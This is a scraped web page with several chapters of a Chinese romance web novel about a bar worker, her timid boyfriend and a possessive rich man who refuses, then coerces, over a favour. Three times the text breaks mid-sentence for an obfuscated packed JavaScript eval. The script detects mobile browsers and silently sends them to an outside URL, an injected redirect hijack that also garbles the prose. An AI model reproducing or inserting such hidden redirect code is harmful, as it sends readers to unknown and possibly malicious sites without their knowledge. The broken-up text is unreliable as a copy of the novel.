同事们显然不想放人,更有甚至想把尤绘拉回来,手都伸出去了。 多亏娇娇反应迅速,将那人一把拽开,挡在她面前:“好了好了,工作了哈,等会儿店长回来看到你们一个个都在偷懒,该扣工资了!” 同事们止不住的开始抱怨:“就问问嘛,难道你不好奇吗?小羽唉,跟男生在发展诶。” “就是说啊,那男生看着好小哦,感觉像男高。” “小羽不愿意分享,娇娇你赶紧把知道的通通说出来,要不然你今晚就别回去了。” …… 议论声越发响亮,尤绘将包包挂到肩上,趁乱下了楼。 刚到一楼,辛博汶略微羞涩的笑容便闯入了视野。 他手上拎着隔壁便利店的购物袋,里头装着冰淇淋,还有几盒软糖。 “好久不见啊。”辛博汶说着这话,脸颊微微泛起红晕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192414|180314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤绘点头嗯了声,见人没了下一步动作,她指了指他拎着的东西:“再不吃要化了。” 辛博汶这才反应过来,原本露着一排洁白的牙齿,笑得格外灿烂,短短几秒钟时间,这笑容变得异常僵硬。 他连着哦了好几声,着急忙慌的从袋子里拿出一支草莓味的冰淇淋,往前递:“抱歉啊,我有点紧张,你应该也习惯了我这样吧。” 尤绘接住冰淇淋,看到他不自然的挠了挠后脑勺,她摇头:“没事。” 话音落,辛博汶的魂魄又不自觉地在乱窜,也是这时他余光瞟到二楼窗边黑压压一片,那群人龇着大牙一脸八卦。 这下他更尴尬了,举起手腕随意扫了眼手表上的时间:“我们走吧,电影快要开始了。” 尤绘嗯了声,边拆冰淇淋包装,与辛博汶并排走,不经意瞄了一下马路对面。 很快便注意到,辛博汶将手上的购物袋换了一边拿。 尤绘微微垂眸,吃着冰淇淋,垂在腿侧的手小幅度地晃动着。感受到他似乎靠近了些,两人的步伐不快,很同频,又或者说是辛博汶刻意放慢了脚步。 不知道保持着这个姿势走了多久,尤绘已经吃完了一整个冰淇淋,距离两人看电影的电影院,距离不足八百米。 这期间辛博汶好几次将手伸出去,没碰着就因为心脏不受控的狂跳,而放弃,他实在担心自己的举动过于冒昧,只能一个劲的揉自己发烫的耳朵,来缓解这紧张的情绪。 终于,在墨迹了十多分钟后,他抱着死就死吧的心情将手伸出去,一把握住了尤绘的手。 而这刺眼的一幕被跟在两人身后的梁清屿尽收眼底。他突然觉得好生无趣,扯起唇角自嘲一笑,掐了烟转身走人。 回到车里,车门撞上,梁清屿将手机往副驾上一丢,拉开手套箱从里面取出一盒没拆塑封膜的烟。沉着张脸,动作粗暴的将塑封膜撕扯掉,抖出一根烟咬在嘴边。 随着打火机咔哒一声响,尖端冒出火星子,他仰头往后座一靠,吸了口烟,过肺后缓缓将烟吐出。 青白烟雾模糊了他的脸,那个极其刺眼的画面在脑海中反反复复地浮现。 他咬着烟,将车窗降下来,拿烟的手搭到车窗边沿。 一股股潮湿黏腻的热风往车内灌,他的下颚线紧紧绷着,漆黑如墨的眼眸中似乎藏着熊熊燃烧的火焰。 呵,搞半天喜欢乖的。 不知过了多久,烧净的烟头堆成一座小山,他瞥了副驾驶位,将随意丢放的手机捞过来,给备注为谢津洲的人发去消息。 7y.:[帮我查个人。] 发完这条,他又紧接着点进了秦圭的聊天框。 7y.:[你店里那个新员工今晚上不上班?] 秦圭:[小羽?] 7y.:[嗯。] 秦圭:[不是,你真看上了?] 梁清屿没回,手指停在半空中,脑海中再次出现俩人牵手的画面。 随着叮的一声响,那边传来消息:[她今晚上班,你要来吗?] - 看完电影,辛博汶把尤绘送上了出租车。 眼睁睁看着打卡时间过去了十多分钟,尤绘并不慌。在鰫上班有个好处,到岗时间比较灵活,迟到半小时都不成问题。 不过在此之前尤绘并没有迟到的毛病,这次算是个例外。 待出租车停稳,尤绘推开车门下了车。刚迈入店里就看到专属卡座坐着个人,那人的脸色阴沉得可怕,不知道的还以为谁得罪了他。 惹得店里的同事都不敢上前送酒,怕不小心惹上一身货。 尤绘没过度关注那边,换上工作服来到了吧台。 刚过来,调酒师就将托盘往尤绘面前推了推,并抬下巴示意:“那桌的酒。” 看着托盘上足足放着十杯酒,尤绘眉心微蹙,没端起,而是说了句:“冰都快化了,全堆一块儿送?不追求口感了?” 调酒师摆摆手,很是无奈:“没办法啊,那位指名让你给送过去。” 闻言,尤绘隐约察觉到一丝不对劲,她转眸,正正好撞上梁清屿冷如寒冰的视线。 9.男朋友 对视片刻,尤绘端起托盘,朝着专属卡座走去。 她的步伐不快,手臂用了十足的力,双手死死握住托盘边缘,撑着不让酒液洒出来。 而窝在沙发里,旋转把玩着手机的梁清屿,端着一副要找人麻烦的架势,却在尤绘真走到跟前来时,收了这股劲儿。 看着尤绘将沉重的托盘平稳的放到桌面,他的视线稳稳当当的落在了那只白皙如玉的手上。 隐约看见她左手无名指关节处上方一点的位置,有一颗小小的痣。 不等他收回视线,尤绘已经将托盘中的酒,一杯杯端到了面前。 她什么也没说,微垂着头,给人的感觉像是在害怕着什么。 真的有这么吓人吗? 这让梁清屿不自觉想到了她之前拒绝那三个男人时的胆儿,不挺大的?这会儿怎么变怂了? 也就在这时,尤绘将最后一杯酒端出托盘,轻声说了句:“慢用。” 人没来得及走,被梁清屿叫住。 “考虑换份工作吗?”他说这话时,眼神中藏匿的火苗消散许多。 尤绘不知道他为什么突然说这事,第一反应是警觉,哪怕她知道,对方不过是在提醒,娱乐会所的工作并不适合姑娘来干。 但她依旧冷淡回复:“不考虑。” 梁清屿并不在意她的回答,已经从兜里掏出张名片,放到了托盘上,随后抬了抬下巴示意:“考虑好了可以联系这上面的人。” 尤绘垂眸看了眼托盘上的名片,黑白渐变的卡片上写着一行大字MUNE幻师,那串数字前面写的是某经理。 尤绘愣了一瞬,抬眸看向梁清屿:“你确定这不是你的号码?” 闻言,梁清屿不意外,只轻轻挑了下眉:“你可以打过去试试。” 尤绘不再说什么,端起托盘离开了卡座。 之后两人再没有其他交流,梁清屿也没有点别的酒,慢慢悠悠喝着那十杯口感欠佳的小甜酒。 尤绘能感觉到,他一直注视着自己,倒没有不自在,该干什么干什么。 等到快下班时,外边电闪雷鸣,轰隆作响,没一会儿天空中降下了小雨。 调酒师张望片刻,说了句:“这雨也不知道会不会下大,我连伞都没有。”说完这句,他看向一旁举着保温杯喝水的尤绘:“你带伞了吗?” 尤绘喝完水,语气很淡,就一个字:“没。” 调酒师关心道:“那你等会儿怎么回去?” 尤绘冷不丁瞥过去一眼:“你还是关心关心自己吧。” 凌晨两点半,卫生打扫完毕,尤绘准时换衣服下班。 从更衣室出来的时候,外边的雨没有要停歇的意思,反而比先前更猛烈。 她边回着微信消息,将托特包挂到肩上,推门出了店。 湿润的风裹挟着雨水飞溅到地面,又划过脸颊。 尤绘往后退了一步。 这时手机上方弹出一条消息,点进打车软件,屏幕上显示司机无法赶到,已经取消订单。重新打车的话前方排队五人,预计还需等待十分钟。 尤绘抬头看了眼雨势,手指刚停到重新叫车的按键上,身后挂门铃铛发出清脆的声响。 紧接着身旁就多出一个人。 尤绘没有看他,最先感受到的是一股淡淡的松木气味直往鼻翼钻,这清冽的味道中似乎还掺杂着烟草味,不呛鼻,或许是因为被甜腻酒精味盖过大半的原因。 尤绘觉得这气味有点醉人,让人头晕目眩。 不等躲闪,梁清屿已经将车钥匙掏了出来:“我送你。”说这话时,他的语气似乎柔和了许多。 尤绘依旧没看他:“我男朋友过来接我。” 这一声刺耳的男朋友传入耳内,听着让人极其不爽。梁清屿的脸色也在这一刻骤变。他望着她,眉峰皱起,如墨般的眼眸中藏着一股怒火。 站在那,浑身戾气暴涨,死死盯着连正眼都不给一个的尤绘。 合着下午那怂包不是暧昧对象,是男朋友啊。 想到这,梁清屿脑海中再次浮现两人牵手的画面。 他的眼中没有丝毫温度,已经不再看尤绘,倒也没有离开,还站在一旁,两人中间隔了五个身位。 雨还在下着,没有丝毫减弱的趋向。 梁清屿莫名有些烦躁,那三个字一遍遍在耳畔回荡,他从兜里掏出烟盒,抖出一根咬在嘴边,刚摸出火机点燃香烟。 余光里,尤绘往旁边挪了一步。 梁清屿将烟拿开到一旁:“闻不了烟味?” 尤绘没有回应,梁清屿也不等她,已经把烟掐了。 又干站着等了一阵,梁清屿脸上的表情越发难看,却也没有加重语气,目光停留在尤绘的身上:“你男朋友什么时候来?外边冷,进店里等。” “不用。”尤绘的语气一如往常,一副拒人于千里之外的感觉,像是不打算跟他扯上任何关系,真就是对他这个人毫无兴趣,或许达到了连朋友都做不了的程度。 梁清屿也不说什么了,继续陪着等。 站门口足足等了二十分钟,一辆灰色的小车在暴雨中缓缓驶来,成功闯进视野中。 车速慢下来,驾驶座上的斯文男生拿上雨伞,推开车门下了车。 撑着伞一路小跑过来,他稍稍喘着气:“抱歉来晚了,我们走吧。” 辛博汶说这话时,梁清屿已经将面前的小男生打量了一番,眼眸随即闪过一丝冷淡的杀意,神情也越发薄凉。 毫无遮掩的意思,就这样展现在这人面前。 辛博汶原本并没有注意到旁边的男人,但不知道怎么的,他总觉得这气温降了过于猛烈了些,先前刚下车时还没有这种感觉,等来到店门口了,他后背止不住的冒出冷汗,甚至有点想打哆嗦,冷得离谱了点。 他找不到缘由,直到余光里的那人轻哼了声。 他好奇地看过去,即刻陷入了思考。 怎么莫名有种跟这男人抢人的感觉啊。 辛博汶整个人有些木讷,看向尤绘:“这位是?” 尤绘已经迈一步往他伞下走,轻巧地抛下一句:“不认识,可能是店里的客人。” 辛博汶哦了两声,没在意,胳膊往前伸了伸,将尤绘接过来。感受到尤绘的手搭在了自己的手臂上,他的耳根子又有些发烫。 声音跟着变得细小:“抓紧我,小心路面滑。” 踏入雨中,雨滴敲击着伞面。 还站在原地的梁清屿,一双眼始终死死盯着两人。他的目光灼热,好似能将那人烧死。 直到他们的身影彻底消失在视野中,灰色小车驶离,他才转身回了店。 来到卡座,他拿起桌上的一瓶威士忌就往空杯里倒。 握酒瓶的那只手,指节因用力而发白。 等到秦圭从休息间里出来,梁清屿还保持着倒酒的姿势。 他目中无神,一身的戾气。 秦圭脚步一顿,悄悄观察着,好一阵才试探性的问了句:“您有心事?” “哪看出来的?”梁清屿回话时的声音又冷又硬。 秦圭咽下口水,指了指:“您这杯酒都快溢出来了。” 闻言,梁清屿随意扫了眼,将威士忌放到一旁。没应答,心中烦躁得很。 秦圭怕说错话,但他实在好奇,于是又多问了一嘴:“咋了这是?谁得罪你了?” 梁清屿几乎没有犹豫,脱口而出:“你店里那新员工。” 秦圭属实没想到,啊出一大声,以为自己听岔了:“你说谁?小羽?她怎么会得罪你?” 梁清屿不再吭声,端起已经满到都溢出酒的酒杯,仰头一口气喝了个精光。 回家的路上,车停在十字路口等红绿灯,梁清屿单手把着方向盘,手指在方向盘上无规律地敲击着。 他的眉心拧成一团,看着前窗上大颗大颗的雨珠不断滑落,他心如刀绞,因顾虑过多,周身突然变得模糊不堪,似是被困在了迷雾之中,又像被纱网缠住腿脚。 不知过了多久,待红灯开始二十秒倒计时。 梁清屿掏出手机,再次给谢津洲发去了消息:[什么时候空?去欧洲玩玩?] 那边很快回过来一个句号,紧接着发来一条长达六十秒的语音。 “不是清屿哥哥,您贵人多忘事吧,我和丁姐前天到的冰岛。如果没有记错的话,早在还没放暑假那会儿我就约你了,你当时怎么跟我说来着,你说要我找少爷,你懒得去。好,行,我去找了少爷,人家怎么回的我,他说他没空,让我别烦他。好好好,你俩不陪我们度假就算了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197287|180314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都放暑假了总得回老家组个局玩玩吧,结果呢,呵呵。所以我就很想知道了,申城到底有谁啊,都不回京。” 罕见的听完了一整条语音,梁清屿懒得回,手机丢回副驾。 回到新住处,电梯门刚打开,映入眼帘的是喝得烂醉如泥的梁纯,斜靠在门边。 见此情景,梁清屿再次蹙起了眉,走过去到她跟前,冷漠的看着半躺在地上的梁纯:“那房子不都送你了吗?还来这干嘛?” 听到说话声,梁纯瞬间恢复意识,缓慢睁开眼,抬头看着单手抄兜,一脸不悦的梁清屿。 她委屈巴巴:“好弟弟,你姐姐我失恋啦。” 闻言,梁清屿直接戳破:“你恋上了吗就失恋,赶紧一边去,别挡着我开门。” 梁纯不动,还瞪着眼睛:“你说话别这么难听行不行,搞得好像你恋上了一样。”说到这,她突然来了劲,撑着墙从地上爬起来:“忘了问,你要到小羽联系方式了没啊?” 说到这事梁清屿就躁,不应答,指纹解锁后进了门。 梁纯生怕被关到门外,麻溜跟上他。 就听到走远的梁清屿冷不丁一句:“说了没兴趣。” 梁纯会信?切了声:“你骗鬼呢。” 此时梁清屿已经靠坐到了沙发里,他将两条腿摆到茶几上,从兜里摸出烟盒,压着嗓音道:“人家有男朋友。” 也就这么一句话,原本脑袋一团浆糊的梁纯清醒得不能再清醒,眼睛瞪得跟铜铃似的:“啊?怎么会!” 见梁清屿不说话,嘴唇抿成一条直线。 梁纯两步并作一步到客厅:“你就不能再追追看吗?” 梁清屿抽着烟,沉着张脸:“我不可能做插足别人感情的事儿。” 梁纯不认输,怎么能就这么算了呢,她是真心喜欢小羽这个人啊。 几乎没有思考,她脱口而出:“为什么不行?” 闻言,梁清屿睨过去一眼:“道德底线在哪?” “这玩意儿你本来就没有啊!”梁纯情绪异常激动。 反观一旁的梁清屿,已经没了想法,整个人都变得寡淡:“这事儿过了,别再提,过两天陪我去欧洲一趟。” - 之后的一个礼拜,梁清屿彻底的消失在了视野里。美甲店楼下不再无缘无故停着豪车,同事们闲来无事谈论的话题也因为西沃大学论坛的停更,略显无趣。 只是尤绘却感觉时刻被一双眼睛窥视着。 她不知道是不是自己过于多虑,毕竟那危险的人并没有再出现过,或许他真被劝退了。 尤绘并不在意,和他真没有很熟,又或者说,仅仅只是认识,见过几面,再无其他,更别说越界的行为。 而再次听到梁清屿的名字,是辛博汶来美甲店接下班。 兴许是放暑假的缘故,美甲店比平时要忙了许多,都到下班时间了,店里的同事们还在埋头苦干。 在店里等待许久的辛博汶在接到一通电话后,十分抱歉的将尤绘拉到一旁:“我临时有点事,得先走了,实在对不起啊,我回头给你买小蛋糕。” 看到他一脸慌张无措,尤绘轻皱起眉:“什么事?” 辛博汶摆摆手:“没什么大事啦,就我最近认识了一个新朋友,他的台球厅刚开业,遇到了点麻烦事,要我去帮忙解决一下。” 听到这句,尤绘不得不多想,抱着怀疑的态度开口:“你确定不是你遇到麻烦事了?”毕竟辛博汶的朋友圈子里不应该出现这些人或事。 辛博汶推了下眼镜,紧张地笑着:“怎么会,我能有什么事,我就一准大学生,难不成得罪黑涩会嘛。” 见尤绘不相信,辛博汶拉住她的手,左右摇晃着,跟撒娇似的:“你就放心吧,今天肯定可以帮忙解决完,明天下班我带着小蛋糕来接你。” 尤绘嗯了声,不再问什么。 把辛博汶送下楼,尤绘刚转身准备回店里,身后不远处传来讲电话的声音。 似乎担心被人听着,辛博汶加快了步伐,说话极为小声,还捂着半张嘴,但尤绘还是听到了他说的话。 他说:“梁清屿吗,可是想攀上他几乎没可能啊,你就不能再帮我想想办法吗,我真的要死了……” 这个名字出口,尤绘的眼中闪过一抹复杂的情绪。 10.牙印 再次见到辛博汶是在第二天上午,他如约带来了小蛋糕,依旧是草莓口味的。 只是这块蛋糕上的草莓酸得厉害,尤绘只吃了一颗就没再吃,拿着勺子挖蛋糕体。 吃了两口,她抬眸看向辛博汶眉毛上的那道红痕,直白开口:“你实话告诉我,出什么事了。” 辛博汶下意识摸了下眉毛,下一秒他的脸就因为疼痛略微有些扭曲,但还是咬死不说:“没什么啦。” 听到这话,尤绘的眼底是一贯的清冷:“你再这样我走了。”说罢就直接将勺子放到桌上,站起了身。 见情况不对,辛博汶赶忙把人拉住。低垂着眼眸,很是为难:“我说我说。” 尤绘嗯了声,没坐下,只一句:“你说,我听着。” 辛博汶知道,没得跑了,只能扭扭捏捏开口:“其实就是我和好兄弟合伙开了家台球馆,开业那晚在店里喝了些酒,冲撞了个人,道歉也没用,他不光找人把店砸了个稀巴烂,还把我好兄弟打进了医院。” 尤绘的眸色变深:“然后呢,跟梁清屿有什么关系?” 兴许没料到尤绘会知道这事,辛博汶的表情明显僵了一瞬,很快,埋藏在他心中的种子渐渐浮现。 他纠结了一阵才开口:“我好兄弟的朋友是他们圈子里的边缘人物,说这麻烦事只有梁清屿能摆平,得罪的那人不讲道理,还凶,需要找个能压得住他的人,他们圈子里也就只有梁清屿可以了。” 真,黑涩会。 尤绘沉默着,眉心微蹙。 辛博汶小心翼翼观察着她的表情,搓着手指在想到底要不要说。 最终,他鼓足气,问出了那个问题:“你和梁清屿是不是认识啊。” 此话一出,尤绘的眼里再没任何温度,比先前还要冷了万分:“你什么意思,要我去找他帮忙?” 辛博汶咬着下嘴唇,嗯了声:“如果认识的话,或许他会听你的?” 大抵是觉得太过可笑,尤绘嗤了声,甩开辛博汶的手:“只是认识,他又凭什么听我的话。” 辛博汶的头缓缓垂下:“……因为你漂亮啊……”说这话时,他的声音很小很细,但尤绘还是听得一清二楚。 她一直以来都是有脾气的人,不好接触也不好欺负,被找麻烦了也能很好的解决,但不代表可以被信任的人推进火坑,还是以这样的方式。 尤绘后退一步,与他拉开距离:“辛博汶,你要脸吗?” 话音落,辛博汶莫名有种初遇尤绘时的感觉,那股独有的拒人于千里之外的气息,让他瞬间清醒过来:“对不起对不起,我不该麻烦你的,我只是……只是,实在不知道该怎么办了,我会被打死的。” “我和他不熟,连联系方式都没有。并且他大概率也不会想帮你。”说完这话,尤绘转身,头也不回的出了休息间。 而在尤绘撂下狠话后没多久,辛博汶就离开了美甲店。 他前脚刚走,后脚尤绘便回到了休息间,从托特包的隔层中拿出了那张黑白渐变的名片,并拨通了上面的号码。 另一边。 梁清屿起床后先去冲了澡,从浴室出来的时候,床头柜上的手机收到消息亮起了屏幕。 他捞过来点开看,映入眼帘的一句:[梁老板,你的人来店里了。] 眸光短暂一滞,梁清屿轻扯了下唇角。 - 尤绘到幻师时正好赶上饭点,员工们忙得不可开交,就连经理都无暇顾及前来面试的人。 尤绘被安排在员工的休息间里坐着,她眼神扫描四周,手里攥着的简历是十分钟前去隔壁那条街上的打印店临时复印出来的。 上面很多栏都是空着的,毕竟也没什么信息可写。 等待期间,辛博汶再次发来催促消息,问事情进展如何,尤绘懒得回,刚将手机锁屏,又解开,敲出一个字:[等。] 又过了十多分钟,经理终于忙完过来了。 他推开休息间的门,说话语气很是客气:“姑娘,可以面试了,跟我来吧。” 尤绘说完好,跟着经理来到暂未开放的用餐区域。 经理在四人桌前坐下,伸出手示意对面的位置:“坐。” 尤绘再次说了好,刚坐下就看到经理突然站了起来,话都没出口,只是张开了嘴巴,又紧接着坐了下来,而后微笑着说:“你的简历我看一下。” 尤绘眼睫微颤,余光中有人拉开了斜后方空桌的椅子。 她将简历双手递出。 经理嘴角依旧挂着笑,接过来后随意扫了一眼,才说:“你的简历写得很漂亮,工作经验也比较丰富,我想你很合适加入我们相亲相爱的大家庭,请问你什么时候可以过来上班?” 话音落,不给人反应的机会,尤绘站起身:“抱歉,我暂时不考虑这份工作。” 经理啊字才刚出口,看到尤绘转身直接来到了斜后方的位置,在梁清屿对面坐了下来。 她直奔主题:“刘携你认识吗?” 梁清屿翘着条腿,坐姿极为随意,面对尤绘这么突然的举动,似乎并不意外,反而露出了混蛋般的轻笑:“老熟人啊,怎么,你得罪他了?” “是我朋友。” “什么朋友?”梁清屿追问。 尤绘并不打算明说,也因为他的反问蹙起了眉:“这很重要吗?” 闻言,梁清屿的唇角挂起浅浅的弧度,嗓音漫不经心的强调:“你是在求我办事儿。” 听到这,尤绘终于可以确定,自己的猜想没有错,他一直都知道辛博汶得罪了人的事。 尤绘勉强开口:“男朋友,你俩见过的。” 听到她说这话,梁清屿拖着腔调哦了声:“很怂那个?”说完这句,他紧接着换了副嘴脸,端起上位者的姿态:“我凭什么帮你,你跟我似乎连朋友都算不上。” 他没说错,尤绘无话反驳。 沉默片刻,梁清屿的视线从她鼻梁侧边那颗小巧的痣上挪开:“看在梁纯的面子上,我可以考虑一下。” “考虑多久?”口袋里的手机再次震动,不出意外是辛博汶发来的消息。 五秒都没有,梁清屿应道:“考虑好了。” “那什么时候去?”尤绘有些急,已经准备起身了。 但梁清屿却慢慢悠悠地:“你怎么不问我考虑的结果是什么?” 听到这,尤绘心头一紧,脸上表情略微发生变化:“什么。” 紧接着:“抱歉啊,我没空。”他的嗓音低沉有磁性,单臂置在桌上,说这话时,用那双深邃的眼眸望着尤绘。 这耍人玩的把戏让尤绘有些烦闷,她就知道不可能这么轻松,跳入火坑了还想着能轻巧的出来,简直就是痴心妄想。 要问她傻吗,当然不,她可太知道怎么让问题快速得到解决,但她不愿意那样做。同样的她也不想就这么算了,总有其他办法的。 不等尤绘思考如何换个方式解决这个麻烦的人,就看到梁清屿懒散的往后坐一靠:“你这个男朋友挺没本事的,还需要你来求人。” 梁清屿挺瞧不起这种人,他也配? 话说到这个份上,已经足够清晰明了,人家就是看不起辛博汶,这样的话尤绘觉得也没必要再做无用的努力,站起身就准备走。 才刚迈出一步,梁清屿再度开口:“考不考虑换个男朋友?”他转眸看向她。 尤绘能听不明白吗,就是因为听得懂,所以说得更直白:“换谁?你吗?可是我对你没兴趣。” 这话一出口,一旁躲着偷偷吃瓜的经理麻溜退开了。 而梁清屿依旧那副吊儿郎当的混蛋样:“你再多说几句气人的话,你男朋友就等着被往死里揍吧,以我对刘携的了解,他那人下手挺没轻没重的。” 嗯,尤绘知道的。 他盯了她两秒,见她不说话,也不走。赖着了,不达目的不罢休呢。 梁清屿无奈叹了口气:“就不能说句好听的?” “不会。” “那怎么办,我不会勉强自己做不喜欢的事儿,你不能勉强一下吗?” 四目相对,尤绘依旧沉默着。 梁清屿实在怕了她,怎么这么闷,要么不说,一说就是气人的话。 他试图说服自己让步,也苦恼:“所以你到底喜欢他什么?” 原以为这个问题也不会得到回应,谁曾想尤绘回答得极为迅速,说的话十分冲:“那你又喜欢我什么?不就是见色起意。可是我不喜欢混蛋。”话音落,她就这么走了。 出了幻师,尤绘在路边上拦了辆出租车,往辛博汶所在的地方赶。 后方,一辆黑色大G紧紧跟了上来。 半小时后,出租车停靠在刻冠娱乐会所大门口。 尤绘刚推开车门下车,原本在大堂来回踱步的辛博汶就激动地冲了过来,却在看到只来了尤绘一人后,心情瞬间变得低落。 他很是疑惑:“梁清屿呢?” “他不帮。”尤绘没看他,在气头上,已经抬腿往大堂里走。 辛博汶先是啊了一声,急得都要哭出来:“那怎么办啊。” 来到电梯间,尤绘按了上行键:“先过去再说。” 辛博汶一听,额头瞬间冒了汗珠:“不能再说啊,他们真的很凶下手也重,到时候欺负你了怎么办。” 尤绘没吭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197288|180314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,电梯到达一楼后,她先一步走了进去。 一旁的辛博汶嘴里嘟嘟囔囔着什么,从进电梯到前往包间,再到站到包间门口,全程都在扶因汗水而滑落的眼镜。 原本就害怕到快吓尿,等听到包间里那些恶人的对话声,他真不行了,伸出手就想拉着尤绘走。 也是这时,尤绘口袋里的手机响起铃声。 她停在原地,掏手机出来看,映入眼帘的是没有备注的陌生号码。 来电人地址是燕京。 犹豫片刻,尤绘按了接听键。 刚将手机贴到耳侧,一道熟悉的,富有磁性的男声传入耳内。 “过来楼下。” 尤绘瞟了眼旁边的辛博汶,人已经紧张得在原地转圈圈。 她问:“你有事吗?” “你下楼,事儿我来平。” - 随着叮的一声响,电梯到达一层。 电梯门向两侧缓缓打开,尤绘都还没来得及走出去,眼前突然出现一道黑影。紧接着,一只大手就伸了过来,将人直接拽走。 被粗暴的拖拽着,尤绘想甩开他的控制,可成年男性的力气实在太大,尤绘不是他的对手,只能皱着眉头骂道:“你干什么,放手啊。” 很显然梁清屿并不是听话的,依旧紧紧握着尤绘细到离谱的手腕。 来到停车场,拉开副驾驶座的车门,强行将人塞进了车里,并落锁。 做完这些,梁清屿从车前绕到驾驶位,开门坐了进去。 待车门关上,两人谁也没有开口说话。 不知过了多久,可能超过了五分钟,一直目视前方的尤绘终于肯定道:“你不是想帮忙。” 梁清屿似乎没有藏着掖着的打算,直接就承认了:“对,我不仅不想帮忙,我还想看着他被打得头破血流。” 因为这句略微有些粗鲁的难听话,尤绘终于舍得看向梁清屿。 只是对视上,她就没忍住骂了句:“你不要脸。” “嗯,我不要脸。” 话音落,他紧接着说:“一个成年男性连解决问题的能力都没有,值得你这么喜欢?” 目光对视。 事已至此,尤绘的语气依旧冷硬:“我就喜欢,你管不着。” 她的话里像是藏了把锋利的刀,深深往梁清屿心上扎,不刺伤不罢休。 梁清屿的忍耐终究是到达了极限,不给人反应的机会,他直接上手,狠狠掐住了尤绘的脸,强迫她仰起头看着自己。 他下手重,没想放过这个气人的家伙。 危险的气息蔓延开来,不容她躲闪:“尤绘,能别气我吗?我比你想象中还难打发。” 这个名字一出口,尤绘愣在了原地。 所以他是什么时候知道这个名字的? 不等尤绘过多思考,就因为这个混蛋掐得太重,脸颊微微发酸发胀。她恶狠狠瞪着,找准机会抓住他的手臂,对着手腕狠咬下去。 听到骨头咯噔一声,尤绘快速松口,将人一把推开。 被咬了那么一下,梁清屿整个人跟没了骨头似的,往后一倒,撞上车门。 他抬起被咬的手,看着手腕上那枚小小的,红透了的牙印。 轻笑了声,才抬眸重新看向罪魁祸首:“下嘴这么重?牙口挺好。” 尤绘已经扭过头不再看他:“帮不帮一句话。” 不等梁清屿回答,手机铃声响起,屏幕上方赫然出现辛博汶的名字。 尤绘没接,只是垂眸静静的看着。 而一旁的梁清屿,原本正擦拭着手腕处的牙印,看到来电人备注,他冷哼一声,余光瞟到不远处,辛博汶边打电话,边焦急地四处寻找。 尤绘同样也看到了这一幕,要下车,但梁清屿很明显不打算放人走,注意到那人似乎看了过来,他再次上手,不掐脸了,而是更过分一点,掐住了尤绘的脖子,随后将人往自己身前带。 尤绘险些撞进他的怀里,一双手死死撑在两人之间。 就看到梁清屿眼神微眯,唇角扯出一丝漫不经心的笑,说的话十分恶劣:“怎么不接,怕被发现吗?” 此时刺耳的手机铃声还回荡在车内,梁清屿可以确认,辛博汶就是在看这个方向。 他突然觉得有趣儿,掐脖子的那只手往回收了收,拉近了两人的距离。 他们的距离近在咫尺。 梁清屿撩眉,语气暧昧道:“我俩是在偷\情吗?” 话音落,尤绘直接按了挂断键,而后故意往前靠了些,盯住他的唇,两秒后又缓缓上挪,直至撞入他热得能将人融化的视线。 “你怎么不亲呢?”